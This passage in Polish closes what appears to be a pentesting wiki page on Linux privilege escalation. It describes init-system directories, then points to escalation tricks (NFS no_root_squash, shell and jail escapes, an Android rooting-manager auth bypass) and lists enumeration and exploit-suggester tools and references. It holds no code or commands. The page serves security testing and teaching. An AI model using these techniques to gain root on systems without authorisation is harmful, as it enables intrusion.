Z kolei /etc/init jest powiązany z Upstart, nowszym systemem zarządzania usługami wprowadzonym przez Ubuntu, który używa plików konfiguracyjnych do zadań związanych z usługami. Pomimo przejścia na Upstart, skrypty SysVinit wciąż są wykorzystywane obok konfiguracji Upstart ze względu na warstwę kompatybilności w Upstart.

systemd pojawia się jako nowoczesny menedżer init i usług, oferując zaawansowane funkcje takie jak uruchamianie daemonów na żądanie, zarządzanie automount i snapshoty stanu systemu. Organizuje pliki w /usr/lib/systemd/ dla pakietów dystrybucji oraz w /etc/systemd/system/ dla modyfikacji administratora, upraszczając proces administracji systemem.

Inne sztuczki

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

Frameworki rootowania Androida często hookują syscall, aby udostępnić uprzywilejowaną funkcjonalność jądra menedżerowi w userspace. Słaba autoryzacja menedżera (np. sprawdzanie podpisu oparte na kolejności FD lub słabe schematy haseł) może umożliwić lokalnej aplikacji podszycie się pod menedżera i eskalację do root na urządzeniach już zrootowanych. Dowiedz się więcej i zapoznaj z szczegółami eksploatacji tutaj:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

Ochrony bezpieczeństwa jądra

• https://github.com/a13xp0p0v/kconfig-hardened-check
• https://github.com/a13xp0p0v/linux-kernel-defence-map

Więcej pomocy

Static impacket binaries

Linux/Unix Privesc Tools

Najlepsze narzędzie do wyszukiwania Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumeruje luki jądra w Linux i macOS https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

Źródła

• https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
• https://payatu.com/guide-linux-privilege-escalation/
• https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
• http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
• https://touhidshaikh.com/blog/?p=827
• https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
• https://github.com/frizb/Linux-Privilege-Escalation
• https://github.com/lucyoa/kernel-exploits
• https://github.com/rtcrowley/linux-private-i
• https://www.linux.com/news/what-socket/
• https://muzec0318.github.io/posts/PG/peppo.html
• https://www.linuxjournal.com/article/7744
• https://blog.certcube.com/suid-executables-linux-privilege-escalation/
• https://juggernaut-sec.com/sudo-part-2-lpe
• https://linuxconfig.org/how-to-manage-acls-on-linux
• https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
• https://www.linode.com/docs/guides/what-is-systemd/
• 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)
• GNU Bash Manual – BASH_ENV (non-interactive startup file)
• 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)